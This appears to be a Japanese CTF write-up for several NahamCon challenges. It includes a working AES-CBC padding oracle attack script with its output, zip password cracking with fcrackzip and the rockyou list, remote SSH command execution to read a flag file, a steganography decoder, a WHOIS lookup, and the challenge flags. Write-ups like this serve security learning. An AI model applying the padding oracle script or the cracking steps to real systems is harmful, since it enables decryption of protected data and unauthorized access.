b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x85c\xe5\x7fWXvK\xce\x0f\rk|e\x87\xc2AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x85c\xe5\x7fWXvK\xce\x0f\rk|e\x87\xc2AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x85c\xe5\x7fWXvK\xce\x0f\rk|e\x87\xc2AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x85c\xe5\x7fWXvK\xce\x0f\rk|e\x87\xc2AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x85c\xe5\x7fWXvK\xce\x0f\rk|e\x87\xc2AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x85c\xe5\x7fWXvK\xce\x0f\rk|e\x87\xc2AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x85c\xe5\x7fWXvK\xce\x0f\rk|e\x87\xc2AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xc4"\xa4>\x16\x197\n\x8fNL*=$\xc6\x83'
Oh very nice!
Message = {msg}
Tag = {tag}
Length = {len(data)}
Cheesy MAC ;). flag{76a74e3680aea8675a3ae1421a9993eb}
flag{76a74e3680aea8675a3ae1421a9993eb}
Pee Kay See Ess 7 (Cryptography)
$ nc challenge.nahamcon.com 30268
Добро пожаловать! This is an AES-CBC decryption validation oracle. Send us a ciphertext and we'll let you know if it's valid or not.
/------------------------\
| AES-CBC Oracle MENU: |
| (0) Validate my ct |
| (1) Exit |
\------------------------/
Choice: 0
Send your ct (hex): f69f5206cf194380e88d084c8cb1e95f0422b6a71dc8fa3955f4379e079e0f28e83811d64abe32fdbca60d49d1112b68039d584a9298fb15e3fd750794f90b3c
valid
/------------------------\
| AES-CBC Oracle MENU: |
| (0) Validate my ct |
| (1) Exit |
\------------------------/
Choice: 0
Send your ct (hex): f69f5206cf194380e88d084c8cb1e95f0422b6a71dc8fa3955f4379e079e0f28e83811d64abe32fdbca60d49d1112b68039d584a9298fb15e3fd750794f90b3d
not valid
/------------------------\
| AES-CBC Oracle MENU: |
| (0) Validate my ct |
| (1) Exit |
\------------------------/
Choice:
AES CBC Padding Oracle Attackで添付の暗号を復号する。
import socket
from Crypto.Util.strxor import strxor
from Crypto.Util.Padding import unpad
def recvuntil(s, tail):
data = b''
while True:
if tail in data:
return data.decode()
data += s.recv(1)
def is_valid(s, ct):
data = recvuntil(s, b'Choice: ')
print(data + '0')
s.sendall(b'0\n')
data = recvuntil(s, b': ')
print(data + ct)
s.sendall(ct.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
if data != 'not valid':
return True
else:
return False
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challenge.nahamcon.com', 30268))
with open('ct.hex', 'r') as f:
ct = bytes.fromhex(f.read().rstrip())
ct_blocks = [ct[i:i+16] for i in range(0, len(ct), 16)]
xor_blocks = []
for i in range(1, len(ct_blocks)):
xor_block = b''
for j in range(16):
for code in range(256):
print('[+] %d - %d - %d: %s' % (i, j, code, xor_block.hex()))
if j > 0:
print('****', strxor(xor_block, ct_blocks[i-1][-j:]), '****')
try_pre_block = b'\x00' * (16 - j - 1) + bytes([code]) + strxor(xor_block, bytes([j + 1]) * j)
try_cipher = (try_pre_block + ct_blocks[i]).hex()
if is_valid(s, try_cipher):
xor_code = (j + 1) ^ code
xor_block = bytes([xor_code]) + xor_block
break
xor_blocks.append(xor_block)
flag = b''
for i in range(len(xor_blocks)):
flag += strxor(ct_blocks[i], xor_blocks[i])
flag = unpad(flag, 16).decode()
print('[*] flag:', flag)
実行結果は以下の通り。
[+] 1 - 0 - 0:
Добро пожаловать! This is an AES-CBC decryption validation oracle. Send us a ciphertext and we'll let you know if it's valid or not.
/------------------------\
| AES-CBC Oracle MENU: |
| (0) Validate my ct |
| (1) Exit |
\------------------------/
Choice: 0
Send your ct (hex): 000000000000000000000000000000000422b6a71dc8fa3955f4379e079e0f28
not valid
[+] 1 - 0 - 1:
/------------------------\
| AES-CBC Oracle MENU: |
| (0) Validate my ct |
| (1) Exit |
\------------------------/
Choice: 0
Send your ct (hex): 000000000000000000000000000000010422b6a71dc8fa3955f4379e079e0f28
not valid
:
:
[+] 3 - 15 - 192: 0f77e02cc338f7b6ac0743db1b2162
**** b'7f6f}\n\n\n\n\n\n\n\n\n\n' ****
/------------------------\
| AES-CBC Oracle MENU: |
| (0) Validate my ct |
| (1) Exit |
\------------------------/
Choice: 0
Send your ct (hex): c01f67f03cd328e7a6bc1753cb0b3172039d584a9298fb15e3fd750794f90b3c
not valid
[+] 3 - 15 - 193: 0f77e02cc338f7b6ac0743db1b2162
**** b'7f6f}\n\n\n\n\n\n\n\n\n\n' ****
/------------------------\
| AES-CBC Oracle MENU: |
| (0) Validate my ct |
| (1) Exit |
\------------------------/
Choice: 0
Send your ct (hex): c11f67f03cd328e7a6bc1753cb0b3172039d584a9298fb15e3fd750794f90b3c
valid
[*] flag: flag{0b1a83a2f3d2836b5059c31166c97f6f}
flag{0b1a83a2f3d2836b5059c31166c97f6f}
johnks (Forensics)
pngのIHDRチャンクにある画像の高さを変更すると、下の方にフラグが現れる。
flag{979723c28e4f8f14cb913ab863c71325}
A Wild Ride (Forensics)
$ fcrackzip -u -D -p dict/rockyou.txt gpx.zip
PASSWORD FOUND!!!!: pw == crackme
このパスワードで解凍すると、たんさんの*.gpxファイルが展開される。https://ctyo.github.io/JourneyMap/にすべてのファイルを取り込んでみる。ルートでフラグ文字列になっているので、何とか読み取る。
FLAG{gpx_is_cool}
Steam Locomotive (Misceallaneous)
$ ssh -p 32247 user@challenge.nahamcon.com
The authenticity of host '[challenge.nahamcon.com]:32247 ([34.123.79.100]:32247)' can't be established.
ECDSA key fingerprint is SHA256:xQ31F0F0VPFiMinVHvQLJirFl0xLWoD7uxiYL44kIq4.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[challenge.nahamcon.com]:32247,[34.123.79.100]:32247' (ECDSA) to the list of known hosts.
user@challenge.nahamcon.com's password:
Connection to challenge.nahamcon.com closed.
接続したら、ASCIIアートでSLが走っていき、切断された。直接リモートでコマンド実行してみる。
$ ssh -p 32247 user@challenge.nahamcon.com ls -l
user@challenge.nahamcon.com's password:
total 4
-r-------- 1 user user 39 Apr 24 16:44 flag.txt
$ ssh -p 32247 user@challenge.nahamcon.com cat flag.txt
user@challenge.nahamcon.com's password:
flag{4f9b10a81141c7a07a494c28bd91d05b}
flag{4f9b10a81141c7a07a494c28bd91d05b}
Ostrich (Steganography)
スクリプトの処理概要は以下の通り。
・orig_image: "ostrich.jpg"の画像情報読み込み
・flagの長さだけ以下繰り返し
・x: 画像幅の範囲のランダム値
・y: 画像高さの範囲のランダム値
・pixel: (x, y)のRGB値
・B(青)の値が0の場合は、以下の実行を繰り返す。
・x: 画像幅の範囲のランダム値
・y: 画像高さの範囲のランダム値
・pixel: (x, y)のRGB値
・new_val: Bの値 * flagのi番目の文字のASCIIコード →計算結果を文字列化
・Rの値: new_val[0]
・Gの値: new_valの長さが1より大きい場合、new_val[1]
・Bの値: 0
・(x, y)のRGB値を設定
apngの各フレーム画像で元の画像と比較し、差分から算出し、1文字ずつフラグを算出する。
from PIL import Image
from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
from apng import APNG
res = APNG.open('result.apng')
for i, (png, control) in enumerate(res.frames):
png.save('result_{i}.png'.format(i=i))
orig_img = Image.open('ostrich.jpg').convert('RGB')
w, h = orig_img.size
flag = ''
for i in range(len(res.frames)):
img = Image.open('result_{i}.png'.format(i=i)).convert('RGB')
for y in range(h):
for x in range(w):
r0, g0, b0 = orig_img.getpixel((x, y))
r1, g1, b1 = img.getpixel((x, y))
if r0 != r1 or g0 != g1 or b0 != b1:
assert b1 == 0
if g0 == g1:
new_val = bytes([r1])
else:
new_val = bytes([r1]) + bytes([g1])
flag += chr(b2l(new_val) // b0)
break
print(flag)
flag{d3a5b80f96a3ce0dd0aedbefbc6b1fa1}
Keeber 1 (OSINT)
ドメインは keebersecuritygroup.com であることはすぐにわかる。
$ whois keebersecuritygroup.com | grep Registrant
Registry Registrant ID: Not Available From Registry
Registrant Name: flag{ef67b2243b195eba43c7dc797b75d75b} Redacted
Registrant Organization:
Registrant Street: 8 Apple Lane
Registrant City: Standish
Registrant State/Province: ME
Registrant Postal Code: 04084
Registrant Country: US
Registrant Phone: Non-Public Data
Registrant Email: https://www.name.com/contact-domain-whois/keebersecuritygroup.com/registrant
Registrant Nameにフラグが設定されていた。
flag{ef67b2243b195eba43c7dc797b75d75b}